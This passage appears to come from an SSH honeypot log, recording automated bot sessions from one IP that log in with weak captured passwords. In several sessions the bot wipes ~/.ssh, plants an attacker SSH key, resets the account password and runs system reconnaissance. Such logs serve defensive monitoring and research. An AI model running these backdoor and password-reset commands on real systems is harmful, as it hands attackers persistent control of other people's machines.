-m"},{"seq":20,"at":"2026-08-27T05:01:31.467166+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T05:01:31.779891+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T05:01:32.627045+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T05:01:32.941850+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T05:01:33.514057+00:00","kind":"output","latency_ms":null,"data":"top - 05:01:33 up 7 days, 1:51, 0 user, load average: 0.34, 0.42, 0.38\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T05:01:33.816889+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T05:01:34.154633+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T05:01:34.460911+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T05:01:35.172712+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T05:01:35.483934+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T05:01:35.994461+00:00","kind":"output","latency_ms":null,"data":"jesus"},{"seq":31,"at":"2026-08-27T05:01:36.307507+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T05:01:37.481727+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T05:01:37.793769+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T05:01:39.165901+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"jesus","password":"jesus2025","method":"password","accepted":true,"tier":"other"}]} {"id":"3394da02-40b8-4fd2-990c-914b9669a7ee","name":"eager-gnarled-pelican","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":34174,"username":"jesus","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:01:17.555759+00:00","ended_at":"2026-08-27T05:01:19.228316+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"jesus","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0d8bda32-2174-4ac2-a9af-6b80a001fc45","name":"subtle-knotted-magpie","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":49392,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:01:15.087015+00:00","ended_at":"2026-08-27T05:01:16.928516+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"687312d7-5371-4627-b413-0afbdc9bee06","name":"northern-solar-crane","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":37344,"username":"scraper","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":312,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:59:33.799633+00:00","ended_at":"2026-08-27T04:59:35.939965+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T04:59:11.636324+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:59:11.948152+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:59:15.404998+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:59:16.233203+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:59:16.548348+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\n0gvN0LGiU7If\\n0gvN0LGiU7If\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:59:16.858611+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\n0gvN0LGiU7If\\n0gvN0LGiU7If\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:59:17.168608+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:59:18.019923+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T04:59:18.890326+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T04:59:18.921876+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T04:59:19.233740+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T04:59:20.522136+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:59:20.834041+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T04:59:22.328503+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T04:59:22.641692+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T04:59:24.088546+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T04:59:24.400890+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T04:59:26.592576+00:00","kind":"output","latency_ms":null,"data":" 04:59:26 up 7 days, 1:49, 0 user, load average: 0.23, 0.26, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T04:59:26.903829+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T04:59:27.763539+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T04:59:28.077101+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T04:59:28.745564+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T04:59:29.056711+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T04:59:29.359330+00:00","kind":"output","latency_ms":null,"data":"top - 04:59:29 up 7 days, 1:49, 0 user, load average: 0.23, 0.26, 0.24\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T04:59:29.672835+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T04:59:30.033601+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T04:59:30.347530+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T04:59:31.064413+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T04:59:31.376516+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T04:59:31.919495+00:00","kind":"output","latency_ms":null,"data":"scraper"},{"seq":31,"at":"2026-08-27T04:59:32.230541+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T04:59:33.488128+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T04:59:33.800483+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T04:59:35.846752+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"scraper","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"da37c4b3-1f84-4ab2-9d5e-75b38acaf40c","name":"oaken-hearty-weasel","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":37366,"username":"scraper","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:59:14.293811+00:00","ended_at":"2026-08-27T04:59:15.313197+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"scraper","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"74fcc468-46da-4e3a-bfee-b3373c8e3e98","name":"steady-jolly-owl","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":37358,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:59:12.652319+00:00","ended_at":"2026-08-27T04:59:13.674998+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"78e0ea51-bf3d-4140-aef5-b3a337317951","name":"bashful-flinty-teal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":54336,"username":"stack","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":318,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:57:35.146509+00:00","ended_at":"2026-08-27T04:57:36.073516+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2252,"events":[{"seq":1,"at":"2026-08-27T04:57:17.129064+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:57:17.444223+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:57:21.722276+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:57:21.989695+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:57:22.307773+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nEnTTi3YRyPsO\\nEnTTi3YRyPsO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:57:22.624523+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nEnTTi3YRyPsO\\nEnTTi3YRyPsO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:57:22.939456+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:57:23.314462+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:57:23.631869+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:57:24.806382+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:57:25.125105+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:57:26.458282+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:57:26.776227+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:57:27.447114+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:57:27.767995+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:57:28.479409+00:00","kind":"output","latency_ms":null,"data":" 04:57:28 up 7 days, 1:47, 0 user, load average: 0.07, 0.06, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:57:28.796355+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:57:29.235531+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:57:29.552406+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:57:29.930705+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:57:30.247995+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:57:30.729160+00:00","kind":"output","latency_ms":null,"data":"top - 04:57:30 up 7 days, 1:47, 0 user, load average: 0.07, 0.06, 0.09\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:57:31.044349+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:57:31.315558+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:57:31.631668+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:57:32.424356+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:57:32.748878+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:57:33.422483+00:00","kind":"output","latency_ms":null,"data":"stack"},{"seq":29,"at":"2026-08-27T04:57:33.742435+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:57:34.829544+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:57:35.147734+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:57:35.977915+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"stack","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"be0614c2-54d7-42f3-a03f-ab3325fdc917","name":"sturdy-ginger-sparrow","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":54348,"username":"stack","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:57:19.909112+00:00","ended_at":"2026-08-27T04:57:21.627005+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"stack","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"92df2fdb-239a-4c77-9883-7ce1fbef2844","name":"twilight-indigo-salmon","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":54338,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:57:18.190938+00:00","ended_at":"2026-08-27T04:57:19.292114+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"971a3b3e-d54d-467a-ac5b-7c6cfedfcf79","name":"ivory-sturdy-bushbaby","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":52080,"username":"mehdi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":321,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:55:40.603586+00:00","ended_at":"2026-08-27T04:55:41.994966+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T04:55:21.825695+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:55:22.145172+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:55:25.833596+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:55:26.264959+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:55:26.598859+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nNrQEdP44Egxb\\nNrQEdP44Egxb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:55:26.917315+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nNrQEdP44Egxb\\nNrQEdP44Egxb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:55:27.236510+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:55:27.808284+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:55:28.132172+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:55:29.410180+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:55:29.732739+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:55:30.511602+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:55:30.840079+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:55:31.493961+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:55:31.814016+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:55:32.097425+00:00","kind":"output","latency_ms":null,"data":" 04:55:32 up 7 days, 1:45, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:55:32.420380+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:55:33.257312+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:55:33.576874+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:55:34.413835+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:55:34.735907+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:55:35.258763+00:00","kind":"output","latency_ms":null,"data":"top - 04:55:35 up 7 days, 1:45, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:55:35.579533+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:55:36.458785+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:55:36.780412+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:55:37.380628+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:55:37.701568+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:55:38.542531+00:00","kind":"output","latency_ms":null,"data":"mehdi"},{"seq":29,"at":"2026-08-27T04:55:38.863759+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:55:40.282311+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:55:40.604442+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:55:41.899582+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"mehdi","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"fecefdd4-d635-4d80-bf04-6c0d698725cb","name":"cunning-quaint-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":52094,"username":"mehdi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:55:24.111455+00:00","ended_at":"2026-08-27T04:55:25.741019+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"mehdi","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6a478052-296d-4e59-96e2-cb9dd5d90319","name":"hazel-pristine-linnet","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":52092,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:55:22.859251+00:00","ended_at":"2026-08-27T04:55:23.456680+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0625676f-e8b6-45ee-8c12-575b162587e3","name":"courtly-fringed-narwhal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":39868,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":335,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:53:40.033002+00:00","ended_at":"2026-08-27T04:53:41.077618+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T04:53:21.504093+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:53:21.842118+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 